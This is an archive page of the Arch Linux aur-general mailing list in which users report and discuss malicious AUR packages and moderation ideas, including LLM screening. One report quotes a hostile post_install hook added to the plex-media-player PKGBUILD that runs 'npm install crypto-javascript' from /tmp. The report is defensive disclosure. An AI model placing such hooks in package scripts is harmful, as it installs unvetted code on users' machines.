May 2026 - Aur-general - lists.archlinux.org

Re: Ideas for moderating malicious AUR packages
by Carson Coder 06 Jun '26

06 Jun '26

Hi, I had an idea. What if we flagged the first 10 commits from a new user for manual review? That way a malicious actor would have to make at least 10 good commits, before making a malicious commit. The main downside I can think about is that this might add a lot more work for the moderators but also it would make making malicious packages harder / take longer. Even then, if someone does make 10 good commits and then makes a malicious commit, they would have at least contributed 10 good commits. Maybe we could even make the number of commits vary from user to user (maybe have some sort of system so someone can't just make 10 commits to change the version of a package) so that its harder to know how many good commits need to be made. (this is my first time mailing this list, if I am being stupid please tell me nicely)

9 10

Hello
by Manojavya Meganathan 31 May '26

31 May '26

Im new to the Arch Linux Mailing List and I could use some advice, for example what am I supposed to do in this mailing list, IDK anything on what to do on this mailing list or any mailing list My Goal is to become a TU(Trusted User) I really could use some help! Currently I own the package https://aur.archlinux.org/packages/optomizer

3 2

Probably malicious update to browsh-bin
by 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 30 May '26

30 May '26

browsh-bin now installs a sketchy NPM package despite it previusly not needing NPM. See <https://aur.archlinux.org/cgit/aur.git/commit/?h=browsh-bin> -- George truly, 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 Improve your wifi reception for free <https://www.youtube.com/watch?v=LY8Wi7XRXCA> (Libre JS version <https://redirect.invidious.io/watch?v=LY8Wi7XRXCA>) This email does not constitute a legally binding contract My OpenPGP key is 1BA0 FC4B 80E0 F21B 0269 8CEE 634E BF87 40C7 48BE <https://blog.velocifyer.com/pgp-certificate.asc> Remember to reply all on mailing lists (this is here so i don't forget to use reply all)(If you are reading this i forgot to remove it)

19 27

[Idea] AUR vetting process using LLM models
by Shyamin Ayesh 30 May '26

30 May '26

Hello Everyone, I know this is going to be a controversial idea, and I'm not much of a writer, so bear with me here. I've been noticing the recent wave of spam packages and malicious code submissions hitting the AUR lately. It's getting worse, and the current manual review process clearly doesn't scale. So here's my possibly unpopular suggestion: *what if we used LLMs as a first-pass filter for AUR submissions?* *The basic idea:* - When a PKGBUILD or install script gets submitted, an LLM scans it for sketchy stuff like obfuscated code, curl pipes to random endpoints, crypto miners, encoded payloads, that kind of thing. - It doesn't replace human review. It just flags the suspicious ones so reviewers know where to look first. - Unlike regex-based scanners, LLMs can actually understand code intent. They can catch things like subtle dependency hijacking or weird post-install behavior that static tools would miss. - Flagged packages go into a queue with the LLM's reasoning attached, not just "blocked" but why it thinks something is off. I get it, there are real concerns. False positives, inference costs, and honestly just the idea of putting AI anywhere near the trust pipeline. But I'm not saying replace anything. Just add a layer. Could be a server-side hook on submission, or a community bot that comments on new packages. I'm happy to help build a prototype if anyone's interested. I know some of you are going to hate this idea, and that's fine. But the spam problem is real and getting worse, so I figured it's worth putting out there. Open to better ideas too. Cheers*,* Shyamin

14 15

Re: Ideas for moderating malicious AUR packages
by Fermín Olaiz 29 May '26

29 May '26

On 5/29/26 1:09 AM, Mark Hegreberg wrote: > The expectation of the AUR is that users vet upstream software, and > read the PKGBUILD, right? If you do this, none of the malicious > packages I've seen would have affected you. > I worry building any kind of fomal vetting or reputation system for > aur packages will look like a defacto endorsement of the packages > themselves, which i don't think we're trying to do. I'd say yes and no, for people using the AUR as a vetted app store it wouldn't make any difference; but anyone else can simply miss a diff change if buried deep enough. Sure, a change in the source url or maintainer change might bring some suspicions but there's way many more ways to hide stuff. Fermín.

1 0

RE: Ideas for moderating malicious AUR packages
by aur hpminc.com 29 May '26

29 May '26

> > From: Corey Bruce <cdfrosty(a)gmail.com> > > Sent: Friday, May 29, 2026 3:01 AM > > That's a pretty bad take no offence Mark, yes this is the Arh user > > repository where the user can read the pkgbuild code but there > > shouldn't be malicious packages there in the first place which is why > > it should have some better rules and regulations to avoid this while > > still remaining open and not controlling in nature. >> > On Fri, 29 May 2026, 2:10 pm Mark Hegreberg, <mark(a)archlinux.org > <mailto:mark@archlinux.org> > wrote: > The expectation of the AUR is that users vet upstream software, and > read the PKGBUILD, right? If you do this, none of the malicious > packages I've seen would have affected you. I agree with Mark. There is, and always has been, a risk in using software from the AUR. There is a big pink box at the top of the wiki page warning you. It seems like the current system has been working. Someone sees something suspicous, it is reported and acted on in a timely manner. If someone wants to use some AI LLM to screen software downloaded from the AUR, they can implement that themselves on there own machine. Someone could even write such a program and submit it to the AUR for others to use if they so desired. Just my 2 cents, make of it what you will. Paul

1 0

Registration error. Invalid email
by Михаил Худяков 28 May '26

28 May '26

Hello. I did not double-check my email before registering the account, and now my nickname Mechtaatel is linked to a non-existent email master.kias(a)gmail.com. I usually do not make such mistakes, and I apologize. Could you please redirect/change the email or delete the recently created account so that I can register again? To confirm my statement, I can provide Answer: 509a72.

2 2

Malicious activity on plex-media-player pkgbuilds
by Fabio Loli 28 May '26

28 May '26

Hi all, pkgbuild plex-media-player have been updated to include: +install=plex-media-player-deps.install +post_install() { + cd /tmp + npm install crypto-javascript +} plex-media-player was orphan and was adopted by a new account created today Duplicates uploaded today always by new suspicious accounts are: plex-media-player-v2 plex-media-player-mod plex-media-player-custom also have 'npm install crypto-javascript' in .install file https://aur.archlinux.org/cgit/aur.git/commit/?h=plex-media-player&id=461c4… https://aur.archlinux.org/packages?O=0&SeB=n&K=plex-media-player&outdated=&…

3 3

Source files have different names on different machines when extracted
by Keon Cachia 27 May '26

27 May '26

I am the maintainer for AUR package Kwim and I have encountered an odd issue in my PKGBUILD, here is the Termbin link:https://termbin.com/uo1m (ignore the "ls" this isn't same PKGBUILD as the one on the AUR) The issue is that when zig-wl.tar.gz and xkb.tar.gz are extracted instead of being "zig-wl-ver" they use their upstream name without the version I.E "zig-wayland". This only seems to happen on my machine as another user has commented that they had to update the sums and filenames on their machine. Comment:https://aur.archlinux.org/packages/kwim#comment-1072854 This is not the first time this has happened to me but, the last time it happened was because I had a typo in my source array, which is not the case here. Does anyone have any idea why this is happening? Here is a list of things I tried: Deleting kwim's tmp directory and rebuilding the package. Building in a clean chroot. Using Curl -sL to see what the original extracted directory name is.(It was zig-wayland-0.6.0, different from the one in my PKGBUILD) Here's the PKGBUILD currently on the AUR: https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=kwim&id=9048bbc03823…

3 2

Probably malicious update to browsh-bin
by 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 27 May '26

27 May '26

browsh-bin now installs a sketchy NPM package <cid:part1.1JR8e1Go.NU7G1rOp@velocifyer.com> despite it previusly not needing NPM. See <https://aur.archlinux.org/cgit/aur.git/commit/?h=browsh-bin> -- George truly, 𝕍𝕖𝕝𝕠𝕔𝕚𝕗𝕪𝕖𝕣 Improve your wifi reception for free <https://www.youtube.com/watch?v=LY8Wi7XRXCA> (Libre JS version <https://redirect.invidious.io/watch?v=LY8Wi7XRXCA>) This email does not constitute a legally binding contract My OpenPGP key is 1BA0 FC4B 80E0 F21B 0269 8CEE 634E BF87 40C7 48BE <https://blog.velocifyer.com/pgp-certificate.asc>

1 0